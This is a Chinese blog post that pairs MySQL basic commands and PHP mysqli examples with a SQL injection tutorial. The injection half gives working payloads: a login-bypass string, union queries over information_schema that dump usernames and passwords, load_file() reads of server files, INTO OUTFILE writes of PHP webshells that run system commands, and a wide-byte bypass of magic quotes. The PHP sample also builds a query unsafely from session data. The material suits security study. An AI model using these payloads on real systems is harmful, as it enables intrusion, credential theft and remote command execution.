MySQL命令\注入

MySQL使用B+树来存储数据,有两种存储引擎MyISAMInnoDB。INNODB:利用非叶子节点来存储索引,叶子节点来存储数据;MYISAM:利用非叶子节点来存储索引,叶子结点来存储数据的指针,数据是单独存储的。

mysql的基本操作

一.登录MySQL

1.登录指定IP的root用户

mysql -h 199.199.10.1 -u root -p
Enter password:******

2.默认登录本机(推荐这种方法登录)

mysql -u root -p
Enter password:******

3.直接进入到指定数据库的登录方法

mysql -u root -p databaseName
Enter password:******

二.基本命令

2.1 数据库的基本操作

1. 查看所有的数据库:

show database;

2. 创建数据库:

create database databaseName;

3. 进入到指定的数据库:

use databaseName;

4. 查看当前所在的库:

select database();

5. 查看建库语句:

show create datebase databaseName;

6. 删除指定数据库:

drop database databaseName;

7. 退出Mysql数据库:

1. exit
2.\q
3.quit

2.2 数据表的基本操作

1. 查看库中的所有数据表:

show tables;

2. 创建数据表:

注意:创建表时,字符类型必须要设定长度,最后一个字段后面不能写逗号。

create table tableName(
    字段1 字段数据类型,
    字段2 字段数据类型,
    字段3 字段数据类型
);

3. 查看表的结构:

desc tableName;

4. 查看建表语句:

show create table tableName;

5. 查看表中的数据:

select * from tableName;

//查看另一个库中表的数据表
select * from databaseName.tableName;

6. 删除数据表:

drop table tableName1,tableName2,tableName...;

7. 添加字段:

#1.不指定添加字段的位置:【默认在最后】

alter table tableName add 字段名 字段数据类型;

#2.指定添加在某个字段的后面【after】

alter table tableName add 字段名 字段数据类型 after 前一个字段;

#3.添加在表的最前面【first】

alter table tableName add 字段名 字段数据类型 first;

8. 修改字段:

#1. 修改原来字段的数据类型:

alter table tableName modify 字段名  字段数据类型;

#2. 修改原来的字段名,包括数据类型:

alter table tableName change 原字段名 新字段名 字段数据类型;

#3. 给已有的字段添加主键

alter table tableName add primary key (字段名);

9. 删除字段:

alter table tableName drop 字段名;

10. 数据表从命名:

alter table 原表名 rename 新表名;

2.3 数据的基本操作

1. 在表中添加数据:

#1.对所有的字段添加数据:

insert into tableName values (字段1数据,字段2数据,字段...数据);

#2.对指定的字段添加数据:

insert into tableName (字段1,字段3,字段5) values (字段1数据,字段3数据,字段5数据);

2. 删除表中数据:

#1.删除表中所有数据(尽量不用):

delete from tableName;

#2.按条件删除指定数据:

delete from tableName where 条件;

#3.如果字段是自增属性,用以上两种方法删除数据后插入数据时仍然按删除之前自增

truncate table tableName;

3. 修改表中数据:

update tableName set 字段1=新值,字段2=新值 where 条件; 

2.4 其它基本命令

\h  ---快捷帮助
\c  ---取消命令输入
\s  ---查看当前数据库的操作
\q  ---退出MySQL命令行
\G  ---以列的形式展示结果

tee 路径\文件夹 ---导出命令到本地文件

2.5 mysql常用函数

  • 系统用户名:system_user()
  • 用户名:user()
  • 当前用户名:current_user()
  • 连接数据库的用户名:session_user()
  • 数据库名:database()
  • MySQL版本号:version()
  • 读取服务器本地文件:load_file(根路径)
  • 向服务器写入文件:into outfile()
  • 读取数据库路径:@@datadir
  • MySQL安装路径:@@basedir
  • 操作系统:@@version_compile_os

三.PHP操作MySQL

1.连接数据库

$link = mysqli_connect('localhost', 'root', 'password');

2.设置数据库的编码格式

mysqli_set_charset($link, 'utf8');

3.选择连接的数据库

mysqli_select_db($link, 'mxf');

4.定义SQL语句

$sqlStr = "delete from users where username='{$_SESSION['username']}';";

5.发送并执行SQL语句

$res = mysqli_query($link, $sql);

6.关闭连接

mysqli_close($link);

mysql注入

一.判断是否存在注入点

1.SQL语句是否可以插入

  • 单引号截断:'
  • 双引号:"
  • 单引号或双引号加右括号:)

用此方法可以验证是否开了waf狗

2.是否可以进行union联查

语句结尾用and连接1=1(true)和1=2(false)进行调试;如果and 1=1时服务器反馈为真,and 1=2时服务器反馈为false,证明可以进行union联查

3.是否可以忽略应用程序的后续语句

  • 在URL中使用–+来注释后面的内容,这里的+好在URL中相当于空格
  • 在输入框中输入#来注释代码中后面的内容,不能在URL中使用,因为在URL中#代表锚点
  • 万能密码:admin’ or ‘1’='1

4.如果存在waf

  1. 在URL后面输入 / 报错
  2. 输在URL后面输入 -0 正常

二.爆破

1.获取数据库中的信息

①.获取一次可以显示的字段长度:

使用 order by 1,2,3… 来确定服务器返回的字段数,挨个去试,直到报错,报错前一个就是可以显示的字段数

②.获取数据库信息
  1. 查询当前所在的库:

select database()

  1. 查询数据库中的所有库:

select schema from information_schema

③.获取数据表

获取指定库下的表:select 1,1,group_concat(table_name) from information_schema.tables where table_schema='wuya'--+

④.获取表和字段

获取指定表中的字段: union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='wuya'--+

⑤.获取表中数据

获取指定表中的数据: select group_concat(concat_ws(',',id,username,password) SEPARATOR '|') from users group by '1'

2.mysql读写函数的使用

①.load_file()函数
  • 该函数是用来读取源文件的函数
  • 只能读取绝对路径的网页文件
  • 在使用load_file()时应先找到网站绝对路径
  • 将绝对路径转换为16进制数时,不需要使用引号
  • 读取网站文件内容:
    and 1=2 union select 1,load_file('C:\\inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4
②.into outfile
  • 可以写入一句话木马,然后使用蚁剑或者菜刀直接连接
    and 1=2 union select 1,"<?php @eval ($_POST['psword']);?>",3,4 into outfile 'D:/www/mysql-sql/shell.php'
  • system函数可以执行os命令,通过向指定文件中传入参数
    and 1=2 union select 1,"<?php @system($_GET['par']);?>",3,4 into outfile 'D:/www/mysql-sql/system.php'
    使用URL访问写入的指定文件,并传入参数:

www.xxxx.com/system.php?par=ipconfig

三.绕过(待补充)

1.关于魔术引号注入

  • 使用宽字节注入绕过魔术引号:%df%27
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值